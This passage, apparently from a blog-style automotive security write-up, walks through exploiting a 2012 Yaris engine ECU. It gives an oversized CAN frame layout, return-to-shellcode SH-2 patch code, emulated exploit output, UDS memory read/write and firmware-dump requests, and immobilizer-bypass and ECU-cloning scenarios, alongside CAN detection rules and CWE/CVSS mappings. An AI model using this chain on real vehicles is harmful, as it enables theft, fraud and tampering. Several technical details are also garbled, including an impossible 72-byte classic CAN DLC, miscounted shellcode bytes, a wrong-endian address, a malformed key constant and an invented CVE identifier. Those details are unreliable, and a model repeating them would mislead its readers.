Lower addressesThe takeaway from this layout is the one that makes stack buffer overflows so consistently dangerous across every architecture they show up on: the buffer sits below the saved registers and the return address in memory, and memcpy writes upward through increasing addresses as it copies. So the moment param_3 exceeds 64, the write doesn’t stop at the end of local_40, it keeps going, overwriting whatever happens to sit next in memory: first the saved frame pointer, then the return address itself. And the return address is the single most valuable four bytes in the entire stack frame from an attacker’s perspective, because it’s the value the CPU will jump to the instant this function returns. Control it, and you control where execution goes next.
4.5 Vulnerability Confirmation Through Static Analysis
Finding one overflow is interesting. Finding out whether it’s an isolated mistake or a symptom of a systemic pattern across the codebase is more useful, both for assessing real-world risk and for prioritizing what to report. So rather than eyeballing every function by hand, I wrote a small Ghidra scripting pass to hunt for the same shape of bug automatically: places where a length value taken from external input feeds a copy operation without an intervening bounds check.
# Ghidra Python search for memcpy-like operations
memory = currentProgram.getMemory()
for block in memory.getBlocks():
if block.isExecute():
addr = block.getStart()
while addr < block.getEnd():
instr = getInstructionAt(addr)
if instr and instr.getMnemonicString() == "MOV.W":
# Look for memcpy patterns
pass
addr = addr.add(1)The script itself, shown above in simplified form, walks every executable memory block and looks at each instruction for patterns consistent with an unchecked-length copy. The real version cross-references data flow back to function parameters to reduce false positives, but the core idea is the same as the manual process that found the CAN parser bug in the first place, just automated across the entire binary instead of one function at a time.
That sweep turned up three functions with essentially the same buffer overflow pattern as parse_can_message, meaning the CAN parser wasn’t a one-off mistake but a repeated coding pattern across the firmware, which is honestly the more concerning finding of the two. It also flagged two functions with potential integer overflow issues (places where an arithmetic operation on attacker-influenced values could wrap around in a way that defeats a downstream bounds check) and one function with a format-string vulnerability tucked away in the debug logging code. That last one is lower severity in practice, since it typically requires the debug logging path to be reachable and active, but it’s the kind of thing that’s worth fixing regardless, because debug builds and logging paths have a bad habit of ending up reachable in production more often than anyone intends.
Chapter 5: Dynamic Analysis and Exploitation
5.1 Emulation Environment Setup
Static analysis tells you a vulnerability exists on paper. It doesn’t tell you whether it’s actually exploitable in practice, what the real memory layout looks like at the moment of the crash, or whether some compiler-inserted stack protection quietly neuters the whole thing. For that, you need to actually run the code and watch it fail. Doing that against the real ECU on the bench is possible but slow and risky (every failed attempt risks bricking the actual hardware or corrupting the flash), so the first pass at exploit development happened entirely in an emulator, where a bad guess just means restarting a QEMU instance instead of desoldering a chip again.
QEMU Configuration for SH-2:
QEMU doesn’t ship with out-of-the-box SH-2 automotive board support, but its more general sh4 target family is close enough architecturally to get useful results, since SH-2 and SH4 share the base instruction set with SH4 being a superset. Building QEMU with that target enabled and pointing it at the extracted firmware image gets you a runnable environment:
# Build QEMU with SH-2 support
./configure --target-list=sh4eb-softmmu,sh4-softmmu
make -j4
# Create machine definition
qemu-system-sh4 -M r2d -kernel firmware.bin \
-serial stdio -monitor telnet:localhost:4444,server,nowaitGetting anything meaningful out of that emulated machine, though, meant teaching QEMU about this ECU’s actual memory map, not the generic reference board’s. Without matching regions for the ROM, RAM, and CAN peripheral registers at the addresses the firmware actually expects them at, the code would immediately fault trying to touch hardware that, as far as QEMU is concerned, doesn’t exist.
Memory Map Configuration:
// QEMU memory mapping
memory_region_init_ram(rom, NULL, "firmware.rom", 0x40000, &error_fatal);
memory_region_add_subregion(address_space_mem, 0x00000000, rom);
memory_region_init_ram(ram, NULL, "firmware.ram", 0x10000, &error_fatal);
memory_region_add_subregion(address_space_mem, 0xFFFF8000, ram);
// CAN controller emulation
memory_region_init_io(can_io, NULL, &can_ops, NULL, "can.io", 0x100);
memory_region_add_subregion(address_space_mem, 0xFFFFFC00, can_io);That last block, the CAN controller emulation, is really the important part for this project. It’s a small custom MMIO (memory-mapped I/O) device stub that intercepts reads and writes to the address range the real CAN peripheral occupies and lets me inject frames directly into the firmware’s receive path, exactly as if they’d arrived over the physical bus. That’s what makes it possible to fuzz and exploit the parse_can_message bug entirely in software.
5.2 Proof-of-Concept Exploit Development
With the emulator in place, the plan for turning the buffer overflow into actual code execution followed the classic stack-smashing playbook, adapted for this specific architecture and memory layout: trigger the overflow inside parse_can_message with an oversized DLC, use the overflow to overwrite the saved return address with an address we control, land execution on a small piece of shellcode planted in RAM, and use that foothold to patch the security algorithm in memory so that Security Access stops meaning anything at all.
CAN Frame Crafting:
Translating “overwrite the return address” into an actual CAN frame means working out exactly how many bytes need to land where, using the stack layout diagrammed back in Chapter 4.3 as the map:
Malicious CAN Frame:
Arbitration ID: 0x7E0 (Diagnostic request to ECU)
DLC: 72 bytes (triggers overflow)
Data: [64 bytes buffer fill] + [4 bytes saved FP] + [4 bytes return address]A DLC of 72 gives exactly 8 bytes of overflow past the 64-byte buffer: 4 bytes to overwrite the saved frame pointer (which we don’t actually care about controlling precisely, so it just gets filler) and 4 bytes to land squarely on the saved return address. Sending 72 bytes total, with the first two being the actual UDS service request (0x27 0x01, a normal security access seed request) and the remaining 70 being the overflow payload, means the target function processes what looks like a legitimate diagnostic request right up until the copy runs past its buffer.
Memory Layout During Overflow:
Visualizing the before-and-after state of the stack makes it concrete exactly what’s landing where once those 72 bytes get copied in:
Before overflow:
Stack pointer -> | buffer[64] | saved FP | return addr | locals |
After overflow (72 bytes):
buffer fill: 'A'×64
saved FP: 'B'×4
return addr: 0xFFFF8100 (address of shellcode in RAM)The choice of 0xFFFF8100 as the target address isn’t arbitrary. Going back to the memory map from Chapter 4.3, that address falls inside the SRAM region, specifically within the space this firmware uses as its writable data area. Since a diagnostic write primitive can place arbitrary bytes into RAM before triggering the overflow (or, in a more refined exploit chain, the overflow payload itself could carry the shellcode inline), planting a small payload at a known, stable RAM address and then redirecting execution there with the corrupted return address is the standard “return-to-shellcode” technique, about as old as stack smashing itself but still effective against firmware with no stack canaries, no non-executable memory protections, and no ASLR, which describes the overwhelming majority of automotive ECUs from this era.
Shellcode Development:
The actual payload doesn’t need to be sophisticated. Once you can execute arbitrary code, the highest-value, lowest-effort move is to go patch the one function that gates everything else: calculate_key at 0x00003010, the same function dissected back in Chapter 3.3. If that function can be made to always compute a predictable key (or better yet, to short-circuit and just always report success), then Security Access stops being a meaningful barrier for the remainder of the ECU’s uptime, not just for this one exploited session. Four bytes of SH-2 assembly is enough:
; Shellcode to disable security (always return key=0x0000)
; Address: 0xFFFF8100 in RAM
mov.l @r4+, r0 ; Original: load seed
mov #0, r0 ; Our patch: always return 0
rts ; Return immediately
; Total: 4 bytes
; This overwrites the beginning of calculate_key functionThis tiny routine loads the seed into R0 (mirroring the original function’s prologue so nothing downstream notices a difference in calling convention), then immediately clobbers R0 to zero and returns. In effect, no matter what seed the ECU issues, the “computed” key is always zero. Since the return address from our overflow points into RAM rather than into the original flash-resident calculate_key, the CPU never even executes the real algorithm anymore; it runs this four-byte stand-in instead, permanently, until the next power cycle clears RAM.
Exploit Delivery via CAN:
Putting it all together, the full malicious frame that triggers the overflow, redirects execution, and ultimately patches the security function looks like this on the wire:
Exploit Packet Structure:
Byte Content Purpose
---- -------------------- --------------------------
0 0x27 UDS Security Access service
1 0x01 Request seed subfunction
2-65 'A' × 64 Buffer fill
66-69 'B' × 4 Overwrite saved frame pointer
70-73 0x00 0x81 0xFF 0xFF Return address (0xFFFF8100, little-endian)5.3 Exploitation Results
Running this end to end in the QEMU environment, sending the crafted frame and watching what came back on the emulated bus, produced exactly the outcome the theory predicted:
Successful Exploitation Output:
[+] Sending exploit packet...
[>] CAN ID: 0x7E0, DLC: 72
[>] Data: 27 01 41 41 41 41 41 41 ... 00 81 FF FF
[*] Monitoring CAN bus for response...
[<] CAN ID: 0x7E8, DLC: 8
[<] Data: 67 01 00 00 00 00 00 00 ; Seed = 0x0000!
[+] Security algorithm patched! Always returns key 0x0000Seeing the ECU report a seed of 0x0000 on every single request, instead of the expected pseudo-varying values captured back in Chapter 3, is the tell that the patch landed and took effect. That’s not a coincidence or a lucky crash; it’s the exact behavior encoded into those four bytes of shellcode.
Verification Test:
To make the practical impact undeniable rather than just “the seed looks different now,” it’s worth walking through what a real security access exchange looks like before and after the patch, using the actual algorithm reconstructed in Chapter 3:
Normal Operation (Before exploit):
Request seed: 27 01
Response: 67 01 3A 7F (Seed = 0x3A7F)
Compute key: (0x3A7F * 0xXFEF + 0xCAFE) & 0xFFFF = 0x8B41
Send key: 27 02 8B 41
Response: 67 02 (Success)
After Exploit:
Request seed: 27 01
Response: 67 01 00 00 (Seed always 0x0000)
Key for seed 0: (0 * 0xXFEF + 0xCAFE) & 0xFFFF = 0xCAFE
Send key: 27 02 CA FE
Response: 67 02 (Success)
OR even simpler:
Send any key: 27 02 XX XX
Response: 67 02 (Always succeeds!)That last line is really the punchline of this whole chapter. Once the patched calculate_key is live, the entire seed-key exchange degrades into pure theater: the ECU will accept literally any key value sent back to it, because the function that’s supposed to validate the key against a correctly computed value has been replaced with code that unconditionally succeeds. From this point forward, until the ECU loses power and RAM resets, Security Access provides zero protection against anything gated behind it.
5.4 Additional Attack Vectors
Memory Read/Write Primitive:
And what’s gated behind it turns out to be a lot. With Security Access bypassed, two UDS services that are normally locked down suddenly become fully usable: 0x23 (Read Memory by Address) and 0x3D (Write Memory by Address). These are exactly what they sound like, generic primitives for reading and writing arbitrary addresses in the ECU’s address space, and they’re meant to be used by legitimate diagnostic tooling for things like reading live sensor values out of RAM or patching a single calibration byte during development. In the hands of an attacker who’s already bypassed the gate meant to keep them out, they’re a fully general read/write primitive over the entire memory map documented in Chapter 4.3, ROM, RAM, and memory-mapped peripheral registers alike:
Read ECU memory:
Request: 23 00 00 80 00 00 00 10 (Read 16 bytes at 0x00008000)
Response: 63 10 [16 bytes of data]
Write ECU memory:
Request: 3D 00 00 80 00 00 00 04 01 02 03 04
Response: 7D (Positive response)Firmware Extraction via Diagnostic Protocol:
The other capability worth calling out is a much cleaner path to the exact same firmware dump that Chapter 4 obtained the hard way, by desoldering a flash chip and reading it on a programmer bench. The upload path in UDS (services 0x34, 0x36, and 0x37, the same trio flagged as interesting all the way back in Chapter 2.4) exists so a technician’s tool can request a chunked transfer of data off the ECU, normally used for things like pulling diagnostic snapshots rather than dumping the whole application image, but with memory access unlocked there’s nothing stopping a full read of the entire 192KB application region:
1. Request Download: 34 00 00 00 00 00 04 00 00 (Download 0x40000 bytes)
2. Transfer Data: 36 [data chunks...]
3. Request Exit: 37 00The practical difference this makes is significant. The bench extraction in Chapter 4 needed hot air, a steady hand, a vacuum pickup tool, and a real risk of damaging the board. This needs an OBD-II cable, the seed-key bypass from earlier in this chapter, and a few minutes of patience while the transfer completes over ISO-TP. That’s a much lower bar for an attacker (or, to be fair, a much more convenient path for a legitimate researcher or even a competent shade-tree mechanic doing a backup before a risky modification), and it means the entire firmware image, including whatever intellectual property or proprietary calibration data it contains, can walk out through a connector that’s sitting in plain sight under the dashboard.
Chapter 6: Impact Analysis
Everything so far has been about mechanism: how the network is laid out, how the security algorithm falls apart under statistical analysis, how a stack buffer overflow turns a malformed CAN frame into arbitrary code execution. None of that matters much to anyone outside the reverse engineering community unless it’s translated into concrete consequences. So this chapter steps back and asks, plainly, what can someone actually do with all of this, and who should care.
6.1 Attack Scenarios
Scenario 1: Immobilizer Bypass
The most immediately obvious abuse case is defeating the immobilizer. Patch the security algorithm the way Chapter 5 demonstrated, and the ECU stops meaningfully validating anything it’s told, which cascades into being able to satisfy whatever authentication the immobilizer logic relies on. In practice this means the vehicle can potentially be started without a valid key or transponder, which is exactly the threat model immobilizers were introduced in the 1990s to defeat in the first place, hot-wiring for the digital era. The barrier to entry is physical access to the OBD-II port for roughly two minutes, no specialized key-cloning hardware needed once the exploit chain is scripted.
Scenario 2: ECU Cloning
Because the entire firmware image, including the EEPROM contents holding the VIN and part numbers documented in Chapter 4.2, can be read out over the diagnostic bus once security is bypassed, that same data can be written to a second, blank ECU. That opens the door to theft (swap in a cloned ECU to defeat a stolen vehicle’s immobilizer entirely), warranty fraud (present a modified or damaged ECU’s firmware as though it were untouched), and mileage or history tampering, since none of the identifying data in that EEPROM is protected by anything beyond obscurity. This takes a bit longer, call it fifteen minutes for a competent attacker, since you need both a read from the donor and a write to the target, but it still requires nothing more exotic than physical OBD-II access and the same tooling used throughout this research.
Scenario 3: Arbitrary Code Execution
The buffer overflow itself, independent of what payload you choose to deliver through it, is the most structurally serious finding here, because it’s not limited to disabling one check. Whoever controls the return address controls what code runs next, full stop, which means the achievable impact is bounded only by what the ECU’s hardware can physically do: engine control, communication with other modules over CAN, potentially reaching further into the vehicle’s other networks through whatever gateway logic exists. This scenario needs physical access and a meaningfully higher skill bar than the other three (writing working shellcode for an embedded target isn’t a beginner exercise), but the ceiling on impact is the highest of anything in this chapter.
Scenario 4: Denial of Service
The least glamorous but easiest to pull off: just flood the bus with malicious or malformed frames. Given how little validation exists in the parsing path (Chapter 4.4’s decompiled parse_can_message is representative of the general code quality here), a sustained flood is likely to crash or wedge the ECU into an unresponsive state, leaving the vehicle inoperable until it’s power-cycled or the fault is otherwise cleared. This requires nothing more than physical bus access and a CAN transceiver, no exploit development at all, which makes it the lowest-effort, lowest-skill attack in the whole set, even though its real-world impact is comparatively limited to inconvenience rather than theft or safety compromise.
Stepping back, the common thread across all four scenarios is that every single one of them currently requires physical access to the vehicle. That’s a meaningful mitigating factor, and it’s worth being honest about it rather than overselling the danger: nobody is going to remotely brick your Yaris from across the internet based on anything documented in this post, because this particular ECU and its diagnostic bus aren’t exposed to any wireless or networked attack surface that I found. But “requires physical access” is doing a lot of load-bearing work in a lot of automotive security conversations, and it’s worth remembering that plenty of real-world harm, theft, fraud, tampering, targeted sabotage, has always been a physical-access crime. A lock that only needs two minutes and a $30 cable to pick isn’t much of a lock.
6.2 Affected Systems
Pulling all four vulnerability classes together into one table makes the shape of the problem clearer than describing them one at a time. Notice that the “difficulty” column isn’t the same as “severity”: the easiest attack here (walking the weak seed-key algorithm) unlocks nearly everything else, while the hardest one (exploiting the bootloader’s lack of signature verification for a truly persistent implant) is also, somewhat counterintuitively, the one with the most durable impact, since it can survive a legitimate reflash attempt that doesn’t specifically check for it.
| System | Vulnerability | Impact | Difficulty |
|---|---|---|---|
| Engine Control | Buffer overflow | Arbitrary code execution | Medium |
| Security Access | Weak algorithm | Immobilizer bypass | Easy |
| Memory Access | No authorization | Firmware extraction | Medium |
| Bootloader | No signature verification | Persistent backdoor | Hard |
6.3 Detection Signatures
None of this is much use to a defender, a fleet operator, or a curious owner unless it comes with some way to actually notice when it’s happening. CAN doesn’t give you the rich metadata a network intrusion detection system on Ethernet would have (no source IP, no TCP handshake state to track), but the exploit chain built in Chapter 5 still leaves fingerprints, because it depends on frames that don’t look like anything a normal ECU or scan tool would ever legitimately send. Two signatures cover the bulk of what was demonstrated here.
IDS Rules for Detection:
The first rule watches for exactly the condition that makes the buffer overflow possible in the first place: a Security Access request (27 01) paired with a DLC greater than the 64-byte buffer it’s about to overflow. Under normal operation, a security access request is always a tiny, fixed-size message, so any legitimate diagnostic tool should never trigger this. The second rule is a simple rate-based heuristic: since exploiting the seed-key weakness by brute-collecting samples (or the earlier statistical attack from Chapter 3) requires firing off a lot of 27 requests in a short window, a threshold on repeated security access attempts from the same source catches that pattern even without understanding the underlying cryptographic flaw at all. Written as Snort-style rules targeting CAN traffic (using the CAN-aware fork of Snort rather than vanilla Ethernet-only Snort), they’d look something like this:
# Snort rules for CAN intrusion detection
alert can any any -> any any (
msg:"CAN Buffer Overflow Attempt";
content:"|27 01|"; depth:2;
byte_test:2, >, 64, 2; # DLC > 64
sid:1000001;
)
alert can any any -> any any (
msg:"Rapid Security Access Attempts";
flow:established;
threshold:type threshold, track by_dst, count 5, seconds 10;
content:"|27|"; depth:1;
sid:1000002;
)Worth being honest about the limits here too: these signatures catch the specific techniques demonstrated in this post, not the underlying design flaws. A more patient or careful attacker could stay under the rate threshold, or split a payload across DLC values that don’t trip the size check, and the real fix isn’t a better IDS rule, it’s replacing the weak challenge-response algorithm and adding proper bounds checking to the parser. Detection buys you visibility while the actual vulnerabilities remain unpatched; it’s a mitigation, not a cure.
Appendices
The appendices below collect the reference material that’s more useful to have on hand while reading through the chapters above than to have interrupting the narrative. Appendix A has raw capture examples if you want to see what legitimate traffic actually looks like on the wire. Appendix B expands the memory map from Chapter 4.3 down to a finer level of detail. Appendix C maps everything found here onto standard CWE and CVSS classifications, for anyone who needs to feed this into a formal vulnerability tracking process.
Appendix A: CAN Bus Capture Examples
Normal Engine Operation:
Timestamp CAN ID DLC Data
------------ ------ --- -----------------
162345.123456 0x0A0 8 00 00 1F 40 00 00 00 00 (Engine RPM: 8000)
162345.123466 0x0A8 8 00 00 00 64 00 00 00 00 (Throttle: 100%)
162345.123476 0x0C4 8 00 00 00 00 40 00 00 00 (Vehicle speed: 64 km/h)Diagnostic Session Establishment:
Request: 0x7E0 8 10 01 00 00 00 00 00 00 (Start diagnostic session)
Response: 0x7E8 8 50 01 00 32 00 00 00 00 (Positive response, P2=50ms)
Request: 0x7E0 8 27 01 00 00 00 00 00 00 (Security access request seed)
Response: 0x7E8 8 67 01 3A 7F 00 00 00 00 (Seed: 0x3A7F)Appendix B: Firmware Memory Map Detail
Detailed Memory Map:
Address Range Size Contents
--------------- ------ ------------------------------------------
0x00000000-0x00007FFF 32KB Bootloader
0x00000000-0x000001FF 512B Vector table
0x00000200-0x00000FFF 3.5KB Initialization code
0x00001000-0x00007FFF 28KB Bootloader main + utilities
0x00008000-0x0000FFFF 32KB Calibration Data
0x00008000-0x00008FFF 4KB Engine calibration tables
0x00009000-0x00009FFF 4KB Transmission calibration
0x0000A000-0x0000BFFF 8KB Vehicle-specific parameters
0x0000C000-0x0000FFFF 16KB Reserved
0x00010000-0x0003FFFF 192KB Application Code
0x00010000-0x00011FFF 8KB Main application
0x00012000-0x00013FFF 8KB CAN communication stack
0x00014000-0x00015FFF 8KB Diagnostic services
0x00016000-0x00017FFF 8KB Engine control algorithms
0x00018000-0x00019FFF 8KB Fault management
0x0001A000-0x0001BFFF 8KB I/O handling
0x0001C000-0x0003FFFF 144KB Other modules
0xFFFF8000-0xFFFFBFFF 16KB SRAM
0xFFFF8000-0xFFFF8FFF 4KB Stack (grows downward)
0xFFFF9000-0xFFFF9FFF 4KB Heap
0xFFFFA000-0xFFFFBFFF 8KB Global/static variables
0xFFFFC000-0xFFFFFFBF 15KB Memory-mapped Peripherals
0xFFFFC000-0xFFFFC0FF 256B System control registers
0xFFFFC100-0xFFFFC1FF 256B Watchdog timer
0xFFFFC200-0xFFFFC2FF 256B Clock control
0xFFFFFC00-0xFFFFFC7F 128B CAN controller 0
0xFFFFFC80-0xFFFFFCFF 128B CAN controller 1
0xFFFFFD00-0xFFFFFD7F 128B CAN controller 2
0xFFFFFFC0-0xFFFFFFFF 64B Exception Vector Table
0xFFFFFFC0-0xFFFFFFC3 Power-on reset
0xFFFFFFC4-0xFFFFFFC7 Manual reset
0xFFFFFFC8-0xFFFFFFCB Illegal instruction
0xFFFFFFCC-0xFFFFFFCF Division by zeroAppendix C: Vulnerability Classification
Translating everything found in this research into standard vulnerability taxonomies makes it easier to compare against other published automotive findings and to plug into whatever tracking process a manufacturer or fleet operator already uses. The CWE (Common Weakness Enumeration) entries below map each root cause to its general category, and the CVSS breakdown scores the most severe finding, the buffer overflow, using the standard base, temporal, and environmental metrics.
CWE Mapping:
CWE-120: Buffer Copy without Checking Size of Input
- Location:
parse_can_message()at 0x00001234 - Impact: Arbitrary code execution
- Location:
CWE-327: Use of a Broken or Risky Cryptographic Algorithm
- Location:
calculate_key()at 0x00003010 - Impact: Security bypass
- Location:
CWE-798: Use of Hard-coded Credentials
- Location: Security algorithm constants
- Impact: Predictable security responses
CWE-1240: Use of a Cryptographic Primitive with a Risky Implementation
- Location: Seed-key algorithm
- Impact: Weak challenge-response
CVSS Calculator Output:
The CVSS score for the buffer overflow lands at a high base score of 8.1, driven mostly by low attack complexity and the “Scope: Changed” designation, which reflects that exploiting this vulnerability in the parsing code lets an attacker impact resources (the security algorithm, other memory regions) well beyond the vulnerable component itself. The one metric holding the score back from critical territory is the attack vector, physical rather than network or adjacent-network, since as discussed in Chapter 6.1, everything demonstrated here requires a cable plugged into the OBD-II port. That single metric is doing a lot of work, and it’s exactly the kind of assumption worth revisiting as vehicles increasingly gain remote diagnostic and OTA update capabilities that could, in principle, extend this attack surface well past “someone needs to be standing next to your car”:
CVE-2023-YARIS-001 (Buffer Overflow)
====================================
Metric Value
------------------- -----
Attack Vector Physical
Attack Complexity Low
Privileges Required None
User Interaction None
Scope Changed
Confidentiality High
Integrity High
Availability High
Base Score 8.1 (High)
Temporal Score 7.4 (High)
Environmental Score 6.5 (Medium)That’s the full chain, from a multimeter on an OBD-II connector to arbitrary code execution on the engine ECU, and honestly, none of the individual steps required anything exotic. No zero-day in a fuzzer, no side-channel timing attack, no supply chain compromise. Just patient passive listening, a statistics-driven crack of a “security” algorithm that turned out to be a plain linear function, and a stack buffer overflow that a basic static analysis pass would flag in any modern software codebase. What made this project take real time wasn’t any single technique being hard; it was the fact that automotive firmware from this era simply wasn’t designed with an adversarial mindset at all, and once you stop assuming good faith from whoever’s sending CAN frames, the whole system falls apart in fairly predictable ways.
A 2012 Yaris obviously isn’t a high-value target on its own. But the same DENSO ECU family, the same class of SH-2-based automotive microcontroller, and very similar architectural choices (unsigned bootloaders, weak challenge-response security, unvalidated CAN parsing) show up across a huge number of vehicles from this era, and plenty of that era’s design DNA persists in newer platforms too. If there’s one thing worth taking away from this whole exercise, it’s that “it’s just a car from 2012, who cares” undersells both how much of the current fleet still runs on hardware like this and how directly these lessons carry forward into the security posture of vehicles being designed today.
